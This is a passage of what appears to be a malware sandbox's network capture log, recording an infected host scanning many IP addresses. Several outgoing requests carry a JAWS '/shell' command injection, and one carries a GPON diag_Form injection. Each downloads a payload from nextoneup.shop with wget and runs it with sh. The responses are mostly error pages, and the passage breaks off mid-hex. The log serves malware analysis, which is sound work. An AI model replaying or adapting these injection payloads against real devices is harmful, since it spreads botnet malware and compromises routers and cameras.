72 3d 22 30 22 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 20 63 65 6c 6c 70 61 64 64 69 6e 67 3d 22 35 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 72 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 74 64 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 20 76 61 6c 69 67 6e 3d 22 6d 69 64 64 6c 65 22 3e 3c 69 6d 67 20 73 72 63 3d 22 69 6d 61 67 65 73 2f 6e 69 6b 6f 6e 5f 6c 6f 67 6f 5f 30 32 2e 67 69 66 22 20 61 6c 74 3d 22 4e 69 6b 6f 6e 2c 20 49 6e 63 2e 22 20 6e 61 6d 65 3d 22 49 6d 61 67 65 31 22 20 62 6f 72 64 65 72 3d 22 30 22 20 61 6c 69 67 6e 3d 22 61 62 73 6d 69 64 64 6c 65 22 20 69 64 3d 22 49 6d 61 67 65 31 22 20 73 74 79 6c 65 3d 22 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 30 70 78 3b 22 20 2f 3e 3c 2f 74 64 3e 0d 0a 20 20 20 20 Data Ascii: <html><head><title>Nikon - Currently Undergoing Maintenance</title><style type="text/css">...#outer {position: absolute;top: 50%;left: 0px;width: 100%;height: 1px;overflow: visible;}#inner {width: 400px;height: 200px;margin-left: -200px; /* width / 2 /position: absolute;top: -100px; / height / 2 */left: 50%;}--></style></head><link type="text/css" rel="stylesheet" href="media/css/Styles.css"></link><body><form name="ctl00" method="post" action="Maintenance.aspx" id="ctl00"> <div> <input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKLTQ0OTY5OTIyOWRkcNAAFp1ja7Jpq7wXj9huJjOTBlA=" /> </div> <div id="outer"> <div id="inner"> <table border="0" align="center" cellpadding="5"> <tr> <td align="center" valign="middle"><img src="images/nikon_logo_02.gif" alt="Nikon, Inc." name="Image1" border="0" align="absmiddle" id="Image1" style="border-width:0px;" /></td>
Apr 14, 2024 04:00:14.597636938 CEST	188	IN	Data Raw: 20 20 20 20 3c 2f 74 72 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 72 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 74 64 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 20 76 61 6c 69 67 6e 3d 22 6d 69 64 64 6c 65 22 3e 3c 68 31 3e 53 69 74 65 20 55 6e 64 Data Ascii: </tr> <tr> <td align="center" valign="middle"><h1>Site Under Maintenance</h1></td> </tr> </table> </div> </div></form></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
988	192.168.2.23	54754	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:13.721402884 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 30 3a 30 30 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:00:00Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
989	192.168.2.23	43604	13.93.52.223	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:13.892373085 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:14.211689949 CEST	473	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Date: Sun, 14 Apr 2024 02:00:13 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
990	192.168.2.23	33350	180.188.192.104	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:13.899234056 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:14.231496096 CEST	442	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:00:14 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 Content-Length: 203 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
991	192.168.2.23	52116	195.231.18.97	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:13.906471014 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:14.729891062 CEST	525	IN	HTTP/1.1 503 Service Unavailable Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Sun, 14 Apr 2024 02:00:14 GMT Connection: close Content-Length: 326 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 35 30 33 2e 20 54 68 65 20 73 65 72 76 69 63 65 20 69 73 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Service Unavailable</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Service Unavailable</h2><hr><p>HTTP Error 503. The service is unavailable.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
992	192.168.2.23	53970	95.84.156.68	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:13.919372082 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:14.259143114 CEST	363	IN	HTTP/1.1 403 Forbidden Server: Web server Date: Sun, 14 Apr 2024 02:00:08 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive X-Detail: 0x1210, insufficient security level Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 57 65 62 20 73 65 72 76 65 72 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>Web server</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
993	192.168.2.23	54758	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:13.924144983 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 30 3a 30 30 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:00:00Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
994	192.168.2.23	54786	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:14.406613111 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 30 3a 30 31 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:00:01Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
995	192.168.2.23	54796	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:14.595681906 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 30 3a 30 31 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:00:01Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
996	192.168.2.23	54800	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:15.083487034 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 30 3a 30 31 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:00:01Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
997	192.168.2.23	54804	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:15.265775919 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 30 3a 30 31 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:00:01Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
998	192.168.2.23	52324	2.88.157.179	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:15.291686058 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
999	192.168.2.23	50978	104.70.75.170	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:15.505726099 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:15.735773087 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:00:15 GMT Date: Sun, 14 Apr 2024 02:00:15 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 33 35 62 65 66 37 34 38 26 23 34 36 3b 31 37 31 33 30 36 30 30 31 35 26 23 34 36 3b 31 38 62 36 34 33 62 39 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 33 35 62 65 66 37 34 38 26 23 34 36 3b 31 37 31 33 30 36 30 30 31 35 26 23 34 36 3b 31 38 62 36 34 33 62 39 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.35bef748.1713060015.18b643b9<P>https://errors.edgesuite.net/9.35bef748.1713060015.18b643b9</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1000	192.168.2.23	56790	104.93.166.225	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:15.509783983 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:15.743834019 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:00:15 GMT Date: Sun, 14 Apr 2024 02:00:15 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 61 33 66 33 35 34 62 38 26 23 34 36 3b 31 37 31 33 30 36 30 30 31 35 26 23 34 36 3b 34 38 38 38 33 62 33 35 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 61 33 66 33 35 34 62 38 26 23 34 36 3b 31 37 31 33 30 36 30 30 31 35 26 23 34 36 3b 34 38 38 38 33 62 33 35 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.a3f354b8.1713060015.48883b35<P>https://errors.edgesuite.net/9.a3f354b8.1713060015.48883b35</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1001	192.168.2.23	57444	45.207.81.150	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:15.608061075 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:15.939459085 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:00:15 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1002	192.168.2.23	49514	185.224.74.17	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:15.617090940 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1003	192.168.2.23	54808	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:15.751152039 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 30 3a 30 32 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:00:02Auth Result: .
Apr 14, 2024 04:00:16.805499077 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 30 3a 30 32 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:00:02Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1004	192.168.2.23	56296	163.171.146.85	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:15.908793926 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:16.211577892 CEST	1289	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Sun, 14 Apr 2024 02:00:16 GMT Content-Type: text/html Content-Length: 2097 Connection: keep-alive x-ws-request-id: 661b38b0_PS-LHR-014D738_27582-7024 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 35 25 20 61 75 74 6f 20 30 20 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 20 31 38 70 78 7d 2e 50 7b 6d 61 72 67 69 6e 3a 30 20 32 32 25 7d 2e 4f 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 7d 2e 4e 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 70 78 7d 2e 4d 7b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 33 30 70 78 20 30 7d 2e 4c 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 36 30 70 78 7d 2e 4b 7b 66 6f 6e 74 2d 73 69 7a 65 3a 